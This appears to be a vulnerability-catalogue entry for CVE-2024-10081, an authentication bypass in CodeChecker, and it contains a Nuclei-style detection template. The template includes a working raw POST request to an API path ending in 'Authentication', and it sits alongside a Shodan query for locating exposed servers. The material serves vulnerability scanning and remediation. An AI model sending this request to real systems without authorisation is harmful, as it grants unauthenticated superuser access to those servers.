SecurityContext

CVE-2024-10081: CodeChecker <= 6.24.1 - Authentication Bypass

Classification

  • Cwe: CWE-288
  • Cvss score: 10
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
  • Epss score: 0.3992
  • Epss percentile: 0.98658
  • Not known: cpe

Metadata

  • Max-request: 1
  • Shodan-query: http.favicon.hash:-1496590341
  • Verified: yes

Labels

  • Name: API - Authentication Bypass
  • Impact: Attackers can gain superuser access, enabling them to modify or delete critical data and control the system entirely.
  • Remediation: Implement proper access controls and validate URL endpoints to prevent bypass.
  • Vulnerability type: broken_access_control
  • Vulnerability impact: privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-10081
  • Not known: requirements

```yaml

id: CVE-2024-10081

info:

name: CodeChecker <= 6.24.1 - Authentication Bypass

author: iamnoooob,rootxharsh,pdresearch

severity: critical

description: |

Authentication bypass occurs when the API URL ends with Authentication, Configuration or ServerInfo. This bypass allows superuser access to all API endpoints other than Authentication. These endpoints include the ability to add, edit, and remove products, among others.

impact: |

Unauthenticated attackers can bypass authentication by crafting API URLs ending with specific keywords, gaining superuser access to all API endpoints including product management and configuration.

remediation: |

Upgrade CodeChecker to version 6.24.2 or later.

reference:

- https://github.com/advisories/GHSA-f3f8-vx3w-hp5q

- https://github.com/Ericsson/codechecker/security/advisories/GHSA-f3f8-vx3w-hp5q

- https://nvd.nist.gov/vuln/detail/CVE-2024-10081

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

cvss-score: 10

cve-id: CVE-2024-10081

cwe-id: CWE-288

epss-score: 0.3992

epss-percentile: 0.98658

metadata:

verified: true

max-request: 1

shodan-query: http.favicon.hash:-1496590341

tags: cve,cve2024,code-checker,auth-bypass,vkev,vuln

http:

- raw:

- |

POST /v6.58/Products/Authentication HTTP/1.1

Host: {{Hostname}}

[1,"getProducts",1,1,{}]

matchers:

- type: dsl

dsl:

- 'contains(body,"{\"0\":{\"lst\":[\"rec\",")'

- "!contains(body,'Error code 401: Unauthorized')"

- "contains(header,'application/x-thrift')"

condition: and

digest: 4a0a0047304502203d63868ecbad889c43d81c27def1b08c120d62120fc70a7253dcf82ac8c55cf0022100f28d8f2c352eb5fc8a1ccf20ee89d6dcf1515abd9cb9a7930f3be989be3c6e10:922c64590222798bb761d5b6d8e72950

```